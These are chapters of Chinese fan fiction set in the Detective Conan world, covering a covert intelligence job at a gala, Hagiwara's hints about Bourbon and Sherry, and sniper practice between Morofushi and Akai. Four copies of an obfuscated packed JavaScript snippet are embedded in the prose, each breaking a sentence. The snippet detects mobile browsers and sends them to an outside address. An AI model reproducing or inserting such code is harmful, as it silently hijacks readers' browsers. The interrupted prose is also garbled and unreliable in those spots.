诸伏景光抬头,注意到对方和平日的区别,眼睛弯了弯:“结束了?” “嗯。”赤井秀一扯了扯领口的领带,无意识地皱了下眉。 两人从衣帽间离开,坐在休息室的萩原研二停下摆弄着手机的手,有些懒散地抬起眼睛。 下一刻,他的目光凝住了。 那双眼尾下垂的紫色眼睛,一点一点亮了起来,闪亮亮的神色几乎和曾经的某位警校生重合。 诸伏景光看着对方并不陌生的反应,有点无奈。 ……他就知道。 18.第 18 章 这是一次不公开的慈善晚宴。 诸伏景光靠在窗户边的墙壁旁,扫了眼窗外适合成为狙丨击点的位置,以及真的有狙丨击手的情况下应该如何躲避。 随后,他的目光落点在了另一侧正垂着眼,和一位年轻女士交流的长发青年。 虽然外表看着不太像,但是莱伊对这些似乎挺擅长的。诸伏景光稍微回顾了一些过去和莱伊一起行动的任务,在心里点了点头。 怪不得莱伊会是他们之间唯一有女朋友的那个。 赤井秀一那一头平时随意落在身后的黑色长发,此刻被好好打理了一番,用和身上的西服同色系的发带在后颈的位置扎了了低马尾,稍长的发带垂落在发丝之中,偶尔会因为他的动作摆动几下。 就如他此刻为了和那位女士搭话而稍稍低下头时,额间没有扎紧的长发会顺着动作垂落,稍稍柔化了那原本过于锋锐的五官气质。 【真受欢迎啊,小诸星。】耳麦之中,萩原研二的声音响起,带着几分调侃的意味。 赤井秀一的神色没有一点变化,就像是什么都没有听到一样,继续保持着原本的姿态,和面前低他一个头的女士对话。 那位女士正是目标的女儿。 按照原本的计划,应该是由萩原研二去接触的——结果他们谁都还没有行动,这位年轻的女士就主动地走到了赤井秀一的面前,红着脸搭起了话。 于是萩原研二灵活地转换了要求,并且在耳麦之中多番感叹赤井秀一的外形和气质。 和萩原研二一开始所说的那样,这次的任务没有任何血腥的部分,就是从目标手中获取相关情报而已。 但这不代表任务就变得简单了,任务目标的警惕性很高,这也是萩原研二计划从目标的女儿那下手的原因。 ……现在也算是成功了。 诸伏景光在举起鸡尾酒抿了一口的动作间隙里,又往那边看了一眼。 【目标往你那边去了哦,小景。】萩原研二在耳麦之中提醒道。 穿着深蓝色西装的短发男人动作没有一点停顿,非常流畅地从墙边站直身体。他的黑色短发被发蜡向后固定,又特地留了几缕仿佛不经意落下的发丝,于是原本因为正装而显得严肃的气质多了几分随性。 诸伏景光举着只抿了一口的鸡尾酒,和目标擦肩而过。而就在这个瞬间,一枚小小的窃听器从他的袖口滑落。 黑发蓝眼的青年斜斜瞥了眼一无所觉的目标,耳麦之中萩原研二带着笑意的声音又一次响起:【很好。】 他转而命令道:【小诸星,稳住那位女士,至少二十分钟。】 “嗯。”赤井秀一抬手将额角垂落的部分发丝重新撩到耳后,微不可察地点了下头。他用着低沉的声音,同步回应着耳麦之中的命令和面前女士主动提起的话题:“的确很有趣。” 说着,扎着低马尾的男人还勾起唇角,浅浅笑了一下。 年轻女士明显怔了一下,脸上的红晕更明显了,连带着声线都紧张了一些:“啊、是吗!那太好了!” 听着耳麦之中带着细微电流的声音,诸伏景光隐入了宾客之间。明明有着一张辨识度不低的俊秀面孔,却在他人想要主动搭话靠近前,就从原本的位置消失了,就像是水融入大海一般悄无声息。 “说起来爸爸最近不知道在做什么。”无意识被套话的女士抱怨着,并未注意到自己将话题转移到了家庭之上,“还一直待在书房里,不让人进去。” “是吗。”赤井秀一顺着回答:“想必是工作太过繁忙了。” “才不是。”年轻女士不太高兴地说道,却在赤井秀一疑惑看过来的时候变得支吾起来:“不过那些政治相关的东西,我也的确不是很懂啦……” 她完全没有意识到自己说出了最关键的信息。 时间一分一秒过去,宴会的氛围也变得更加松懈。诸伏景光注意到,原本警惕的目标脸上突然浮现出笑容,和一位向他走过去的议员交谈了起来。 目标特地避开了周围的人群向单独的休息室走去,而诸伏景光放置的窃听器就在这时派上了用场。 不论是两位狙丨击手还是那位情报专家,他们都是相当耐心的猎手。诸伏景光听着耳麦之中缓缓开始深入的对话,无非是一些贪污和政治方向相关的把柄。 宴会厅的灯光依旧明亮柔和,背景的音乐舒缓,黑发蓝眼的青年扫过地面自己安静的影子,并不做声。 【差不多了。】 在休息室之中的对话即将结束之时,萩原研二的声音再次响起,他愉快道:【据说这次宴会的甜品很好吃哦,两位可以稍微休息一下。】 【之后的工作就交给我吧~】 伴随着这句话,一直保持着通讯的耳麦被萩原研二断开。 赤井秀一在通讯断开时,抬起手看了眼手上的手表,脸上浮现出恰到好处的歉意,对着面前的年轻女士说道:“抱歉,和您的交谈很愉快,但是我恐怕不得不先离开。” 年轻女士看起来格外遗憾,她似乎还想说些什么,但赤井秀一已经离开了原本的位置。 诸伏景光倒是没有立刻离开,他一晚上都没有和目标及相关人士接触,所以拖延到宴会结束离开对他都没有什么影响。 赤井秀一今晚和目标的女儿聊太久了,现在如果和对方一起离开,反而会莫名给他增加嫌疑。 诸伏景光向来不会在这些事情上急躁,他不介意一直等到宴会结束在顺着人群慢慢离开。 他找了个不引人注意的角落站着,目光没什么落点,就像是一个稍微有些倦怠的宾客一般。 过了一段时间,一只手在这个时候拍在了他的肩膀上,熟悉的带着笑意的声音在他身后侧方响起:“在等我吗?” 诸伏景光瞥了他一眼,耳麦早在萩原研二说结束的时候就摘下了。他没有和往常一样特地勾起唇角做出回应,而是保持着原状,淡淡问道:“结束了?” 一个小小的u盘在半长发青年灵活的手指尖跃动,他愉快地说道:“是哦,而且窃听器我也一起回收了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919031|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “诸星应该等很久了。”诸伏景光看着萩原研二重新将u盘收好,开口说道:“我们走吧。” “诶——” 就在诸伏景光往前踏出一步之后,站在原地没动的萩原研二眨了眨眼睛,尾音拉长:“可是我一晚上都在工作,一点宴会的氛围都没有感受到。” 诸伏景光离开的脚步停住,带着询问的视线落在面前的半长发青年身上。 萩原研二笑了起来:“所以再陪我一会儿吧。” “我说真的,这里的甜品很好吃,是主办方特地请了法国顶级的甜品师做的哦。” 这个社交生物一点没有自己是来做任务的意识,也没有自己其实是犯罪分子的概念。半长发的青年挑挑拣拣,选了一块放了樱桃的大概只有一口大小的蛋糕塞到诸伏景光手里,“试试看?” 诸伏景光思考了半秒蛋糕下毒的可能,对上那双带着期待的紫色下垂眼,无奈叹了口气。 他拿着叉子把本来就不大的点心切割了一部分,细腻甜蜜的奶油在他口中化开。诸伏景光在心里下意识思考了一下能不能复刻——不过他更擅长的还是家常菜,这种甜品他做的机会不算多。 “很好吃。”诸伏景光评价道。 萩原研二看起来很高兴:“我就知道你会喜欢。” 不用杀人,只需要获取情报,宴会的甜品——这次任务是萩原研二主动接的、并且也是主动要求他们……准确的说,是他加入的。 明明这种小任务萩原研二自己一个人也能处理。 黑发蓝眼的青年端着那小小的瓷盘,看着少了一角的小蛋糕上的樱桃,突然笑了一声:“谢谢。” “嗯?”萩原研二无辜又茫然地看向他,嘴里正叼着沾着果酱的樱桃梗:“什么。” “ 没什么。”诸伏景光把盘子放下,温和地说道:“如果你喜欢的话,回去我可以试着复刻一下。” “好啊~我已经很久、很久没有吃过你做的点心了。”半长发的青年欢快地说道:“真是让人期待。” 那双下垂着的紫色眼睛弯起漂亮的弧度,他稍稍侧头,若有所思地说道:“按照现在这个进度,应该过不了多久你就可以恢复自己的代号了。” “真的不需要我帮忙,把前任苏格兰处理掉吗?” “这句话听起来好奇怪。”诸伏景光思索道:“而且真的以杀掉苏格兰的方式,我也没办法和公安那边解释了吧。” 谁家卧底是通过杀死代号成员上位的啊,他真的把这个情报上报,下一秒公安就得来对他的精神状态进行检查了。 “好吧好吧,你都说到这个份上了。”萩原研二稍微想象了一下那个画面,也没忍住笑了起来,他开口道:“说起来,有件事,我或许应该告诉你。” “——波本就要回日本了。”半长发的青年将手里的盘子放下,瓷盘和桌面的布料接触发出沉闷的声音,轻缓低沉的声音在诸伏景光耳边响起。 他轻笑着对上那双上挑的蓝色眼眸:“你们也很久没见了。对吗,小景?” 19.第 19 章 黑发蓝眼的青年保持着原本的动作,脸色的神色没有一点变化。唯独他手里端着的小蛋糕上点缀的樱桃,因为蛋糕崩塌了一半的关系,摇摇晃晃歪倒了下来。 诸伏景光慢吞吞地用叉子戳了一下樱桃,想把它摆正,但是显而易见失败了。 “波本?”他听到自己的声音响起,在短暂的沉默之后,用平缓的语调又开口道:“因为雪莉吗?” 半长发的青年双手搭在餐桌上,身体微微倾斜,看着没什么着力点。那双下垂的紫色眼眸微眯,从诸伏景光的身上扫过。 他没有立刻回答,而是在诸伏景光将手里最后半口蛋糕吃完之后,才用暧丨昧又低沉的声线开口:“这么年轻就获得了代号——听说是个很可爱的孩子。” 诸伏景光将手里的盘子放在另一个空盘子的旁边,并不在意这个话题,他不紧不慢继续道:“走吧,诸星君真的等很久了。” “还是这么体贴呢,小景。”萩原研二喉间溢出一声浅笑,收回了自己的目光,嘴角勾着笑往外走去。 诸伏景光跟上了他的脚步,而他一变换动作,就感受到了背后紧贴着皮肤的衣物上,因汗意带起的凉意。 是试探。 萩原怀疑到哪一步了。 诸伏景光知道自己因为缺少太多信息、也并不清楚原本的“自己”到底是什么性格,又是如何和萩原研二相处的。 他身上的疑点太多,唯一能保证的是,就是萩原应该没有怀疑到“他不是苏格兰”这件事上。 至于为什么会提到波本,诸伏景光有点猜测,但是无法确定。 在最开始进入组织前,他就悄无声息调查过原本认识的那些代号成员。诸伏景光无法太过主动,因为他没办法解释自己的情报来源和做这些事的理由,而苏格兰这个人设的底层代码,也不支持他主动去当这么一个八卦的人。 波本——他当然也查了。在他查贝尔摩德和琴酒的时候顺便调查的。 只是波本的信息就和这个世界的苏格兰的信息一样,暧丨昧又模糊,没有一个具体的形象。 真正认识代号成员的那些人,也不是现在的绿川景可以结识试探的。 他之前甚至没有查出波本不在日本这件事。 所以刚才诸伏景光有点迟疑。 他不确定波本是不是他想的那个人,也不明白为什么萩原突然要提起波本……因为是同期?是他想的那个人吗,还是因为别的什么关系? 诸伏景光在那咽下甜腻奶油的过程中,努力地回忆着“今年”会发生的事情。在上一次度过的时间里,他今年才刚刚加入组织……额,和现在也没有区别。 虽然现在他是以组织卧底的身份回归。 但zero后来和他提过。 今年一定发生了什么让他在意的事情。 当时他们才刚刚进入组织,有什么是可以吸引zero目光的? 忽然,一个姓氏浮现在了诸伏景光紧急思考的大脑之中。 ——宫野。 对了。 虽然上一次的“今年”他并不知道,但是在后来的一天,zero突然和他提起了这件事。 为了避免互相影响和暴露,他们情报并不会共享。但在这样的基础上,他们还是会提到一些……和过去有关的信息。 所以在那一天,他们久违的见面时,zero对他开口了。 【我找到了,hiro。】金发深肤的男人的视线低垂,让人看不出他此刻真实的情绪变化。 【什么?】黑发蓝眼的青年侧过头,用没有任何伪装的、一如既往的温和口吻道。 于是友人沉默了。 诸伏景光从冰箱里拿出两瓶没有开封的矿泉水,递了一瓶给坐在沙发上垂着脑袋的好友。 从他的角度,现在只能看到好友那金色的发旋。 他们之间从没有逼迫和强求的这个概念,只要是对方不愿意说的,他们都不会要求对方开口。 在短暂的沉默之后,那双下垂着的灰紫色眼眸抬起,和他对视着。 深肤的好友轻轻说道:【我找到医生了,hiro。】 诸伏景光还未因这一件事为好友感到喜悦,就先注意到了那双眼眸之中沾染的沉重。 【是发生了什么吗,zero。】这个问题说出口时,他就已经得到了答案。 【艾莲娜医生已经去世了。】友人并未沉浸在这份悲伤和愤怒之中,他只是用一种平静的口吻叙述道:【医生的女儿也都在组织之中。】 【明美是莱伊的女友。】 透过那双灰紫的眼眸,诸伏景光看到了自己微微扬起眉毛的动作。 他们和莱伊不算特别熟悉,只是前段时间的任务关系,恰好一起行动了一段时间。诸伏景光只知道对方有个女友,但是女友具体是谁,他并没有好奇过。 谁知道会这么巧合,恰好就是友人一直寻找的医生的女儿。 【在搬家前,医生怀孕了……】好友继续说道:【雪莉,是她的代号。】 诸伏景光停顿了一下,才意识到这句话之中的前后逻辑关系。黑发蓝眼的青年计算了一下时间,错愕道:【那个孩子、今年才14岁?】 【嗯,是去年获得的代号……她继承了父母的科研能力。】 好友不再多说什么,他们的情报交流到此为止。但这一件事的确让诸伏景光知道了宫野一家的去处和相关情报。 他一直知道zero有一位倾慕的医生,但是他并未前往过宫野诊所,也从未真正见过zero口中的医生。 梦境之中的金色长发的身影在脑海之中浮现,诸伏景光无声地抿了下唇,拉开了车门,对着里面等待许久的赤井秀一点了下头:“久等。” “完成了?”赤井秀一只关心任务进度,他并不在意等待的时间。 “完成了。”诸伏景光回答,若有所思地看着赤井秀一垂落在座椅上的黑色长发。 赤井秀一知道雪莉吗——雪莉在回国前一直在美国留学,如果赤井秀一是FBI,作为美国人的他,是否一开始就知道雪莉的身份? 他接近宫野明美,是巧合还是…… 诸伏景光把人物关系全部接上之后,终于明白为什么组织对赤井秀一、对莱伊一直如此警惕防备。 倒不是说外围人员不能谈恋爱,但是你和一个有着代号的天才研究成员的姐姐谈恋爱,那就不可能不被审查了。 关于雪莉和宫野明美的相关情报,诸伏景光也只了解到这个程度。他知道zero想要帮忙,但是帮忙的前提是不会影响到他们的身份,且对方真的愿意接受帮助。 没有人知道宫野明美是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925483|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还记得幼年的玩伴,也没人知道她是否会成为zero暴露的契机。沉溺在组织这么多年,没有人会强求她还能保持本心。 而去调查作为妹妹的研究员,也会引起组织的警惕。因此zero一直刻意避开了对方,以避免任何一个可能暴露的可能。 作为狙丨击手的诸伏景光,就更没有理由去接触对方了。唯一能接触对方的契机也只有莱伊。 总不能和莱伊说,莱伊,我对你的女朋友很好奇,所以我们可以见一面…… 诸伏景光稍微想象了一下那个画面,目光从赤井秀一的长发上移开,透过车窗的倒影看到了自己眼中一闪而逝的笑意。 赤井秀一并未注意到他的动作,因为半长发的青年已经打开车门坐了进来。 下垂眼的半长发青年眨眨眼睛,感受着车内显得过于沉默的氛围,忍不住开口道:“好安静啊,你们平时也是这样相处的吗?” “还有没处理的吗。”赤井秀一开口问道。 “没有哦,这个任务已经结束了。”萩原研二回答,他轻快地说道。 “不过今天真的让我很意外呢,我还以为小诸星你是更寡言的类型——”半长发的青年自顾自地摸着下巴感叹道:“但是仔细一想,毕竟是有女朋友的人嘛。” “啊,说到这个。”萩原研二就像是刚刚想起来一样,他尾音上扬,语调轻快,“在还没有代号之前,不要和别的无关的代号成员接触哦。” “警告?”赤井秀一挑了下眉。 “一个好心的建议。”半长发的男人侧过头,瑰丽的紫眼睛在昏暗的灯光下明暗不定,刘海落下的阴影打在上方,更是叫人分不清他此刻的真实情绪。 “别把我当成坏人啊,像我这么好相处的成员,在组织之中也是相当少见的哦。”他这么抱怨道。 车内的气氛再一次安静了下来。 任务结束,萩原研二也没有提起下个任务的事情,所以三人很快就解散了。 因为有赤井秀一还在,为了绿川景这个摇摇欲坠的马甲,诸伏景光拒绝了和萩原研二顺路一起离开的邀请。 他独自一人回到了自己的安全屋之中——虽然已经被萩原研二知道了,但是感觉他就算再换一个,萩原也会第一时间找到,所以他也就没有更换的打算了。 这个人一点演的意思都没有,直白地把自己的独占欲表现在了明面上。 这可是能直接和他说出“因为zero和松田关系变好了,所以感到嫉妒”的家伙。 “……” “…………” zero。 诸伏景光躺在沙发上,用手臂遮掩了眼前的视野,在心中无声地回忆着,这个许久未曾说出口的、独属于某个人的昵称。 …… “波本。”有着一头浅棕的蓬松卷发的少女面无表情地抱着怀里的资料,喊出了这个代号。 被称为波本的男人回过头,瞥了她一眼,又收回目光,平静地开口问道:“还需要多久。” “一个星期。”少女无声地攥紧了拳头,声音很轻:“还有最后的流程要走。” 青年看着面前紧张的女孩,顿了顿,想张口说些什么,但是看着她面前垂着眼安安静静看着地面的动作,最终什么都没说。 他只是淡淡回了一句:“我知道了。” 20.第 20 章 这次的任务结束之后,诸伏景光短暂的空闲了下来。 这个空闲不是说他没任务做了,而是指他和代号成员的接触变少了,任务也暂时重新回归到了最简单的辅助、以及后续处理的清洁工作。 “不如说,如果不是上次恰好和你一起做了一次任务,我应该也不会有这么多工作的机会。”诸伏景光对着偶遇的赤井秀一说道。 赤井秀一并未因为他的话语产生什么多余的反应,只是对着远处的靶子开了一枪,熟悉了一下手感。然后才站起身,平静地应了一声:“嗯。” 他们现在在组织的一个训练模拟基地之中,虽然基地的技术暂时还没有未来那么真实,但是基础设备已经很完善了。 未来诸伏景光所见过的全息投影,是将情景完美呈现在眼前,仿佛面前出现的不是靶子,是真实生活在日常之中的人类一般。 不知道是不是设计师的恶趣味,如果在全息训练基地之中子丨弹射偏,那个目标还会做出相应的惊恐反应。 就和射中了之后,目标会捂着中枪喷血的位置哀嚎着倒地一样。 现在还没有到肉眼无法观察确定的程度,还是能看出灯光偏差和布景的装饰。但相对于外面的射击馆,组织的训练基地的确相当超前了。 “你看起来很熟悉这边。”赤井秀一调整了一下靶子的距离,比原先更远了50码。 他这句话不像是问句,但的确有着询问的意思。黑发蓝眼的青年站在另一侧,举着狙丨击丨枪,射中靶子的中心后,缓缓开口:“不算特别熟悉,但的确来过几次。” “是吗。”轮到赤井秀一了,靶子的距离又远了50码。 “你很好奇?”诸伏景光轻笑着反问。 好歹也一起做了这么多次任务,赤井秀一听得出来对方并没有因为他的试探感到不满。 不如说,绿川在他面前一直都挺放松的。所以这种并不会涉及其他情报的简单问题,赤井秀一并不介意用这样更直白的方式向对方询问出口。 他知道绿川心里有底,能说的绿川并不介意告诉他,但是不能说的,绿川也会笑笑略过这个话题。因此,赤井秀一不担心自己会莫名其妙地触碰到不该踩的地雷。 “在和你碰面之前,我当过一段时间的司机。”不出他所料,黑发蓝眼的青年简单思考了一下,就回答了他。 对话间,狙丨击的码数已经超过500了。如果忽视他们手里举着的狙丨击丨枪,两人的对话有种很微妙的日常感。 “不过在那个时候,我可没有使用这个训练场的资格。” 诸伏景光轻笑了一声,带着一点调侃的口吻:“多亏了你呢,诸星君。” “你很优秀。”赤井秀一并没有认下这个人情,而是直接点明答案:“就算没有这个契机,你的能力也不会被掩盖太久。” “真意外,没想到你这么看好我。”黑发蓝眼的青年侧过头,眉眼间的确染上了不明显的惊讶,他看起来有点高兴。 长发的狙丨击手思索了片刻,诚实地回答道:“比起和其他人一起工作,和你搭档让人更舒服。” 那双眼尾上挑的蓝色眼眸在昏暗的训练场之中,也透着和天空一般明媚的色彩,他弯起眼睛,同样真心地回答道:“谢谢。” 嗯,的确很让人愉快。赤井秀一收回视线,将枪口瞄准了距离600码的靶子上。 他参考对比过其他外围成员的工作频率,就算不对比其他人,只看和他接触最多的绿川的工作。 在没有获得代号、进入中上层之前,底层成员的工作难度都不会很高,基本都是扫尾或者前期调查配合的程度。 他的任务难度和工作频率都是绝对不正常的。哪怕优秀如绿川,也是当了差不多半年的清洁工,才出现在了代号成员面前。 不过导致这个不同的因素,也的确是他对外表现出的性格和能力过于突出了。 赤井秀一又一次射中了靶子,这一次码数并未直接再次调高,而是刷新出同样距离的新靶子,让另一个人再次举枪对准。 “砰——” 子丨弹射中了靶子,只是相对于之前完美射中圆心的技巧,这一次子丨弹路径的终点有些偏移了。黑发蓝眼的青年站直身体,露出了思索的表情,看起来似乎是在判断刚才射击的手感和方向。 赤井秀一收回视线,再次举起枪,对准了重新刷新出来的650码的靶子。 根据赤井秀一的判断,绿川的狙丨击能力甚至超过了绝大部分的代号成员。 不论是判断时机的能力还是扣下扳机的果断冷静,这个黑发蓝眼的男人,都是远超平均线的优秀。 但是在和他一起进行任务之前,绿川的战斗技巧和狙丨击能力似乎都并未展现出来。 原本赤井秀一还在思考对方是否有故意隐瞒的意思,甚至因为他对外展现的性格,怀疑过他是否有可能有伪装的身份。 但是在一起做过两次任务之后,他就排除了这个想法。 绿川并未刻意隐瞒过自己的优秀,他只是单纯的——没有刻意表现过而已。 就如他自己所说,非代号成员的任务频率和难度都不高,如果不是恰好遇到相应合适的任务,他的能力根本没有展现的机会。 而绿川的性格底色非常淡。 这份淡不只是他对外的温和表象,同样也是对欲丨望的漠然,和对外界的适应能力。 只要多相处一段时间,尤其是处在同一个空间里的时候,就很难忽视这一点。 绿川的包容和体贴,全都基于他本质的“不在意”。 绿川不追求代号,也不在乎自己的能力是否有没有表现的机会,更不在意被人使唤着去做他根本没必要去做的工作。 他可以上一秒做着最肮脏的工作,下一刻就穿着体面出现在高档的宴会场合。 外界的变化并不会给绿川带去任何情绪上的波动,他用一种堪称可怕的适应能力,接受了所有出现在他面前的工作。 不论难度有多高,在他面前都只是“任务”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929127|191990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杀人和清扫现场对他来说没什么区别,获得代号成员赏识后又回去继续当个普通司机,对他的日常也不会造成什么变化。 赤井秀一又一次射中了靶子,只是有了些微偏差。 到这个距离开始,就已经不是人类的技术问题了,而是工具本身就存在的限制。 这个时代的枪械,可还没有升级到未来那种八百里开外都几乎不会有一点偏移的程度。 “看来目前650码之内,完全在你的掌控范围呢。”诸伏景光这么判断道。 “真厉害啊,诸星君。” 赤井秀一收起狙丨击丨枪,对上对方那双上扬带着笑意的蓝色眼眸——他能很清晰判断出来,对方真的只是单纯在对他表达佩服,没有一点嫉妒或者不服气的意味。 黑色长发的男人点了下头,把狙丨击丨枪收好后,和身侧的搭档一同往外走去。在这个过程中,赤井秀一注意到另一个人有些飘忽、明显在走神的目光,便自然开口:“你在想什么。” 这个过于随意日常的问题,有些超过他们之间原本保持的距离了,但是赤井秀一并不觉得有什么问题。 果不其然,身侧短发的男人没有犹豫半秒,就露出了思索的表情,对他回答道:“在想回去的时候,要不要去一趟超市。” “原本是想做荞麦面的,但是家里的食材不太够,不过冰箱剩下的倒是可以做一份咖喱……” 赤井秀一发现自己并不为对方会做饭这件事感到意外,反而觉得理所当然。 在组织的训练基地之中,身侧还未获得代号的外围成员没有一点紧张,反而认真思索着今晚吃什么这种最为日常的问题。 赤井秀一也有点被带偏了,他开口道:“土豆炖牛肉。” 诸伏景光扬了下眉,有些惊讶地看向他,轻笑道:“原来诸星君你喜欢这个,的确是不错的选择。” 和绿川相处,有一种非常奇特的舒心感。就好像深陷在黑暗无法挣脱时,只有对方的身边才能叫人放松下来喘口气。 赤井秀一只和他相处了两个月,除去任务时间同处的时间也并不长,却依旧能感受到那种悄无声息的包容感。 也因此…… “小景——还有小诸星。”半长发的代号成员恰好在他们面前路过,拿着手机的那只手在半空中摆了摆,那双下垂的紫色眼眸之中满是亲近和笑意:“好巧啊,你们是要回去了吗?要我送你们吗。” 绿川的脚步不明显的顿了一下,他脸上的微笑并未消失,只是莫名多出了一分不明显的冷淡疏离。 “不用麻烦了,我接下去还有些事。” 深陷在黑暗之中无法挣脱之人,或许同样会被过于耀眼的光芒伤害。但一旦所有的一切都被悄无声息接纳,在黑暗中获得喘息的机会,反而…… “我和绿川约好了。”赤井秀一淡淡开口,不出所料从那双下垂的紫色眼眸之中,看到浮现出来的警惕和防备。 ——会吸引一些被这份体贴所包容、而难以松手的家伙。 21.第 21 章 “我们约好了?” 在离开了那个训练基地后,诸伏景光对着走在他身侧的赤井秀一,轻笑着重复了这句话。 黑色长发的青年目视前方,回应道:“土豆炖牛肉。” “……原来是这个约好吗。”诸伏景光看着一本正经的搭档,眼睛稍稍睁大了一些。 对于赤井秀一帮他解围的行为,诸伏景光有点惊讶,但是也不算意外。 因为对方的确是这样的人——哪怕外表看不出来。 “下次有机会的话,我会尝试一下的。”诸伏景光弯了弯眼睛,用简单的一句话结束了他们的对话。随后他主动偏移开了脚步,和赤井秀一走向了不同的方向。 赤井秀一没有阻拦,毕竟他刚才也只是顺势帮忙,并没有真的要上门蹭一顿饭的意思。他们的关系还没有好到可以没有理由的前往对方的安全屋。 也没有达到可以开口询问“对方和那位自称三木贤治的代号成员之间发生了什么”这件事的程度。 不过哪怕并不知道具体情况,但赤井秀一也很清楚,他们之间的关系绝不是绿川所说的“几面之缘”。 他们第一次和三木遇见的时候是在机场,三木很明显是特地来接机的,他的装扮和行动方向都不像是要坐飞机、或者刚从飞机上下来的乘客。 绿川却对在机场碰见三木感到意外,他对这件事并不知情。可是在三木主动靠近他时,绿川没有一点防备。 这份无防备不同于和他相处时的松懈——赤井秀一的确在之前疑惑过,绿川为什么会在他面前那么放松、没什么伪装的事情。 但是在这份没怎么伪装的松懈感之下,是绿川依旧会下意识防备的本能,会保持一定距离的警惕。 然而就是这样的绿川,在那一天的机场,毫无防备——肢体放松,没有下意识紧绷,更没有本能做出攻击的行为。 赤井秀一很清楚,如果自己在身后莫名其妙拍一下绿川的肩膀,绿川的第一反应绝对是禁锢住他的手腕,再根据具体情况决定是给他来一个后肩翻还是扭断他的胳膊。 正因为如此,当时在机场的时候,赤井秀一才没有主动搭话,而是若有所思地保持着观察的状态。 然后他就观察出了有趣的细节。 绿川的身体的确对三木没什么防备,但是当他自己后知后觉意识到这一点之后,错愕和警惕的尖刺就悄无声息竖立了起来。 似乎绿川自己也对他“对三木没有防备”这件事感到震惊。 于是这件事就变得更有趣了。 赤井秀一没什么强烈的好奇心,但是他的确对三木和绿川这种矛盾又扭曲的相处模式感到有趣。 不过既然绿川已经表现出了困扰,赤井秀一觉得自己顺便帮下忙也不是什么大事。 至于是否会因此受到什么报复……不如说,赤井秀一也很好奇这位三木到底有什么手段。 他从来都是剑走偏锋的人。 另一边,完全不知道自己在赤井秀一心里的形象变得奇怪起来的诸伏景光,则是在一边制作着咖喱,一边思考着要怎么处理“苏格兰”。 就如萩原所说,他如果没有想换代号的打算,的确要思考下前任苏格兰(虽然依旧是他自己)要怎么消失。 但是在认真思考过后,诸伏景光发现自己其实什么都不需要做。 组织乱七丨八糟的传言还少吗? 对于不认识诸伏景光的人来说,前·苏格兰都已经消失了两年了,他的形象和留给别人的印象几乎是零。 他现在放出“前苏格兰”已经死亡的消息,都不会有人感到意外。 而认识他的那些人,基本没有一个脑子不好的。不管是松田还是伊达,在看到他的第一眼、听到他自称绿川之后,就知道了他这两年去做了什么,现在又需要做什么。 在其他成员面前还会顺势帮他一起掩盖一下,默认了他现在就只是绿川这件事。 至于未来会有什么奇怪的传言……他当年还听过波本莱伊和琴酒的爱恨情仇呢,所以根本没有必要在意。 “而且,现在最不希望苏格兰掉马的也根本不是我。”诸伏景光回忆了一下自己碟中谍中谍的身份,低笑一声。 因为他现在是警察厅派出来的卧底,组织如果还想用他的身份做些什么,肯定非常愿意帮他的身份在添加几层防护,让他真的去当一个干干净净的公安警察。 最好在组织随便拿点人头和信息,然后爬上公安高层——而在卧底的过程中,还能双面间谍、左手倒右手,这可比他去别的地方卧底方便多了,至少组织可以完全掌控他得到和放出去的情报。 当想明白这一点之后,本来就没什么紧迫感的诸伏景光,对于现状就更随意了。 他用小碗装满米饭,倒扣在盘子上,再将刚刚煮好的咖喱倒了进去。 一份看起来干净美味的咖喱饭就这么做好了。 黑发蓝眼的青年坐在餐桌前,一勺一勺的将米饭伴着咖喱舀起,完全符合口味的食物也没让他露出什么笑容。 仔细一想,他上回卧底的时候,根本没有这么多空闲自己做饭。而现在这几个月时间里,他自己做饭的频率都比之前四年加起来还多了。 因为在厨房做饭这件事,对他来说是一种代表着安全和日常的行为。 这是完全无意识的心理暗示,是他小时候的经历所造就的结果。 在他年幼时,因为年龄太小、不论做什么都得麻烦寄住家庭的长辈,所以诸伏景光一直想要帮上一点忙,回报叔叔阿姨。 哪怕只有一点点也好。 于是在某一天,他发现自己可以在阿姨没空的时候承担做饭的工作——在意识到自己可以帮上忙的时候,诸伏景光真的松了口气。 尤其是他自己本身就不讨厌做饭这件事。 在卧底期间,他几乎时时刻刻都要保持着警惕,出任务的时候更是只有便利店的饭团和三明治。 狙丨击手的工作并非表面上看着那么轻松,好像只是一枪打出去就结束了。 他们打出那一枪之前,或许得保持同一个动作几个小时到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 